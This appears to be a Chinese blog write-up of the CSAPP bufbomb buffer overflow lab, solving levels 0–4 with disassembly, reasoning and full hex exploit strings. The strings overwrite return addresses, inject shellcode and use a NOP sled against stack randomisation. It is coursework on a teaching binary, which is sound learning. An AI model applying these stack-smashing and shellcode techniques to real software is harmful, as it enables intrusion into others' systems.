csapp-lab3 bufbomb
2017-11-04 23:27
1116 查看
bufbomb-lab
Level 0:Candle
08048daa <test>: 8048daa: 55 push %ebp 8048dab: 89 e5 mov %esp,%ebp 8048dad: 53 push %ebx 8048dae: 83 ec 24 sub $0x24,%esp 8048db1: e8 da ff ff ff call 8048d90 <uniqueval> 8048db6: 89 45 f4 mov %eax,-0xc(%ebp) 8048db9: e8 36 04 00 00 call 80491f4 <getbuf> 8048dbe: 89 c3 mov %eax,%ebx 8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval> 8048dc5: 8b 55 f4 mov -0xc(%ebp),%edx 8048dc8: 39 d0 cmp %edx,%eax 8048dca: 74 0e je 8048dda <test+0x30> 8048dcc: c7 04 24 88 a3 04 08 movl $0x804a388,(%esp) 8048dd3: e8 e8 fa ff ff call 80488c0 <puts@plt> 8048dd8: eb 46 jmp 8048e20 <test+0x76> 8048dda: 3b 1d 08 d1 04 08 cmp 0x804d108,%ebx 8048de0: 75 26 jne 8048e08 <test+0x5e> 8048de2: 89 5c 24 08 mov %ebx,0x8(%esp) 8048de6: c7 44 24 04 2a a5 04 movl $0x804a52a,0x4(%esp) 8048ded: 08 8048dee: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048df5: e8 c6 fb ff ff call 80489c0 <__printf_chk@plt> 8048dfa: c7 04 24 03 00 00 00 movl $0x3,(%esp) 8048e01: e8 75 05 00 00 call 804937b <validate> 8048e06: eb 18 jmp 8048e20 <test+0x76> 8048e08: 89 5c 24 08 mov %ebx,0x8(%esp) 8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp) 8048e13: 08 8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt> 8048e20: 83 c4 24 add $0x24,%esp 8048e23: 5b pop %ebx 8048e24: 5d pop %ebp 8048e25: c3 ret 08048c18 <smoke>: 8048c18: 55 push %ebp 8048c19: 89 e5 mov %esp,%ebp 8048c1b: 83 ec 18 sub $0x18,%esp 8048c1e: c7 04 24 d3 a4 04 08 movl $0x804a4d3,(%esp) 8048c25: e8 96 fc ff ff call 80488c0 <puts@plt> 8048c2a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c31: e8 45 07 00 00 call 804937b <validate> 8048c36: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c3d: e8 be fc ff ff call 8048900 <exit@plt>
思路:该Level是为了在test调用getbuf的时候,输入大于BUF长度的字符串使得getbuf发生缓冲溢出,继而在getbuf函数返回的时候调用smoke,所以这里关键的是不能破坏保存的旧
%ebp的值,以及将返回地址修改为
smoke函数的地址值
smoke函数的地址值是
08048c18,已保存的旧
%ebp的值可以通过gdb的
info registers命令获取栈帧的寄存器相应值
最后的结果是先填充BUF区间值,再填写原本的旧
%ebp的值,以及修改返回地址即可,使得test调用
smoke函数即可
最后的字符串对应16进制如下,其中
40 3d 68 55是原本的旧
%ebp的值,而
18 8c 04 08是
smoke函数的地址值
30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 40 3d 68 55 18 8c 04 08
Level 1:Sparkler
void fizz(int val) { if (val == cookie) { printf("Fizz!:You called fizz(0x%x)\n", val); } else { printf("Misfire:You called fizz(0x%x)\n", val); } exit(0); }
08048c42 <fizz>: 8048c42: 55 push %ebp 8048c43: 89 e5 mov %esp,%ebp 8048c45: 83 ec 18 sub $0x18,%esp 8048c48: 8b 45 08 mov 0x8(%ebp),%eax 8048c4b: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048c51: 75 26 jne 8048c79 <fizz+0x37> 8048c53: 89 44 24 08 mov %eax,0x8(%esp) 8048c57: c7 44 24 04 ee a4 04 movl $0x804a4ee,0x4(%esp) 8048c5e: 08 8048c5f: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c66 f47d : e8 55 fd ff ff call 80489c0 <__printf_chk@plt> 8048c6b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c72: e8 04 07 00 00 call 804937b <validate> 8048c77: eb 18 jmp 8048c91 <fizz+0x4f> 8048c79: 89 44 24 08 mov %eax,0x8(%esp) 8048c7d: c7 44 24 04 40 a3 04 movl $0x804a340,0x4(%esp) 8048c84: 08 8048c85: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048c8c: e8 2f fd ff ff call 80489c0 <__printf_chk@plt> 8048c91: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048c98: e8 63 fc ff ff call 8048900 <exit@plt>
思路:该Level是为了在test调用getbuf的时候,输入大于BUF长度的字符串使得getbuf发生缓冲溢出,继而在getbuf函数返回的时候调用fizz,所以这里关键的是不能破坏保存的旧
%ebp的值,以及将返回地址修改为
fizz函数的地址值,与Level1不同的是,这里需要将参数val放入stack上,而这里的参数
val的值就是和
userid对应的
cookie值
fizz函数的地址值是
08048c42,已保存的旧
%ebp的值可以通过gdb的
info registers命令获取栈帧的寄存器相应值
先填充BUF区间值,再填写原本的旧
%ebp的值,再修改返回地址,最后加上作为参数的cookie值,使得test调用
fizz函数即可
这里住的注意的是
fizz不是使用
call调用的,而是直接执行代码,所以没有在栈上压入返回地址,所以和之前的
0x8(%ebp)相比,是相差4个字节的,具体情况可以画出栈的图对比,实际的参数如果想在
0x8(%ebp)处拿到,需要在输入的字符串中多添加4个字节的值
最后的字符串对应16进制如下,其中
40 3d 68 55是原本的旧
%ebp的值,而
42 8c 04 08是
fizz函数的地址值,
30 30 30 30需要多出来的4个字节,最后加上
cookie值
ea 9d b4 5f
30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 30 31 32 33 34 35 36 37 40 3d 68 55 30 30 30 30 ea 9d b4 5f
Level 2:Firecracker
int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!:You set global_value to 0x%x\n", global_value); validate(2); } else { printf("Misfire: global_value = 0x%x\n", global_value); } exit(0); }
08048c9d <bang>: 8048c9d: 55 push %ebp 8048c9e: 89 e5 mov %esp,%ebp 8048ca0: 83 ec 18 sub $0x18,%esp 8048ca3: a1 00 d1 04 08 mov 0x804d100,%eax 8048ca8: 3b 05 08 d1 04 08 cmp 0x804d108,%eax 8048cae: 75 26 jne 8048cd6 <bang+0x39> 8048cb0: 89 44 24 08 mov %eax,0x8(%esp) 8048cb4: c7 44 24 04 60 a3 04 movl $0x804a360,0x4(%esp) 8048cbb: 08 8048cbc: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048cc3: e8 f8 fc ff ff call 80489c0 <__printf_chk@plt> 8048cc8: c7 04 24 02 00 00 00 movl $0x2,(%esp) 8048ccf: e8 a7 06 00 00 call 804937b <validate> 8048cd4: eb 18 jmp 8048cee <bang+0x51> 8048cd6: 89 44 24 08 mov %eax,0x8(%esp) 8048cda: c7 44 24 04 0c a5 04 movl $0x804a50c,0x4(%esp) 8048ce1: 08 8048ce2: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048ce9: e8 d2 fc ff ff call 80489c0 <__printf_chk@plt> 8048cee: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048cf5: e8 06 fc ff ff call 8048900 <exit@plt>
思路:该Level是为了在test调用getbuf的时候,输入大于BUF长度的字符串使得getbuf发生缓冲溢出,继而在getbuf函数返回的时候调用写入的机器代码,所以这里关键的是不能破坏保存的旧
%ebp的值,以及将返回地址修改为写入的机器代码的的起始值,机器代码完成的功能是先将
bang函数的地址压栈,将
cookie值写入到
0x804d100,再执行
ret指令转移到
bang
bang函数的地址值是
08048c9d,已保存的旧
%ebp的值可以通过gdb的
info registers命令获取栈帧的寄存器相应值,而机器指令的起始地址取决于填入的字符串具体值
先填充BUF区间值,再填充机器指令,再将原本的旧
%ebp的值,以及机器代码的起始地址填充进去
最后的字符串对应16进制如下,其中
40 3d 68 55是原本的旧
%ebp的值,而
fc 3c 68 55是机器代码的起始地址,
90 90 b8 9d 8c 04 08 50 b8 00 d1 04 08 c7 00 ea 9d b4 5f c3则是机器代码,对应的汇编如下:
01 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00 90 90 b8 9d 8c 04 08 50 b8 00 d1 04 08 c7 00 ea 9d b4 5f c3 40 3d 68 55 fc 3c 68 55
nop nop movl $0x8048c9d,%eax ;; 注意前面的$符号一定不要忘记,很耽误调试的时间, push %eax movl $0x804d100,%eax movl $0x5fb49dea,(eax) ret
Level 3:Dynamite
该Level的要求是提供一个字符串使得getbuf返回
cookie值给
test而不是1,即设置
%eax为
cookie值,思路和Level2类似,只不过这里需要先压入返回test的地址,即
call 80491f4 <getbuf>后面的机器代码地址
0x8048dbe,再设置
%eax的值,最后使用
ret跳转到
test即可,具体的字符串可以参考Level2以及下面的汇编代码。
mov $0x8048dbe,%eax push %eax mov $5fb49dea,%eax ret
Level 4:Nitroglycerin
该Level的要求是提供一个字符串使得getbuf返回
cookie值给
test而不是1,即设置
%eax为
cookie值,思路和Level3类似,不过需要加上-n参数运行bufbomb,此时会进入
testn和
getbufn函数而不是
test和
getbuf函数,且调用
getbufn函数在调用之前会在栈上随机分配容量来使得
getbufn的ebp值不是固定值,会调用testn函数五次,且需要输入五次字符串并全部通过才能通过
8048e35: e8 d2 03 00 00 call 804920c <getbufn> ;; 注意这里的返回地址是0x8048e3a 8048e3a: 89 c3 mov %eax,%ebx 8048e3c: e8 4f ff ff ff call 8048d90 <uniqueval> 0804920c <getbufn>: 804920c: 55 push %ebp 804920d: 89 e5 mov %esp,%ebp 804920f: 81 ec 18 02 00 00 sub $0x218,%esp 8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax ;; 注意这里实际分配的大小是520 804921b: 89 04 24 mov %eax,(%esp) 804921e: e8 d7 fa ff ff call 8048cfa <Gets> 8049223: b8 01 00 00 00 mov $0x1,%eax 8049228: c9 leave 8049229: c3 ret 804922a: 90 nop 804922b: 90 nop
思路:
getbufn函数正常返回后应回到
0x8048e3a,注入的代码需要恢复栈帧
ebp=esp+0x28,接下来需要解决
getbufn函数
%ebp随机化的问题,即字符串地址也是不固定的,只不过和
%ebp相差
0x208是固定的,这里可以通过
gdb读入
getbufn内字符串buf的地址,在
Gets打断点调试查看
%eax即可。具体的注入代码如下,而机器代码只需要在前面加入
nop即可,机器代码是按地址由低向高顺序执行,五次运行都能顺利执行有效机器代码,需要使得跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。所以尽可能使有效机器代码段放在高地址,这样即便跳转到前面,也可以执行
nop,最后执行到
shell code。所以最后的结果就是
(0x208 - 15)个
nop+ 机器指令 + 最大的字符串buf的地址。
lea 0x28(%esp),%ebp movl $0x5fb49dea,%eax pushl $0x08048e3a ret 0: 8d 6c 24 28 lea 0x28(%esp),%ebp 4: b8 ea 9d b4 5f mov $0x5fb49dea,%eax 9: 68 3a 8e 04 08 pushl $0x08048e3a e: c3 ret 90 ...(省略) 8d 6c 24 28 b8 ea 9d b4 5f 68 3a 8e 04 08 c3 31 31 31 31 78 3b 68 55
相关文章推荐
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(1)
- CSAPP: Bomb Lab(3)
- [CSAPP]Bufbomb实验报告
- CSAPP-BOMB-LAB
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(2)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(3)
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(4)
- csapp bomb lab:csapp lab2 炸弹实验
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(5)
- CSAPP lab binary bomb 二进制炸弹
- CSAPP实验四----缓冲区溢出实验bufbomb
- CSAPP 深入理解计算机系统 Buflab实验,缓冲区溢出攻击实验(6)
- CSAPP: Bomb Lab(1)
- Bomb_phase1_CSAPP_lab
- [CSAPP]Bufbomb实验报告
- CSAPP Bomb Lab
- Bufbomb lab
- CSAPP实验之BUFBOMB
- CSAPP: bomb lab
- CSAPP LAB: Buffer Overflow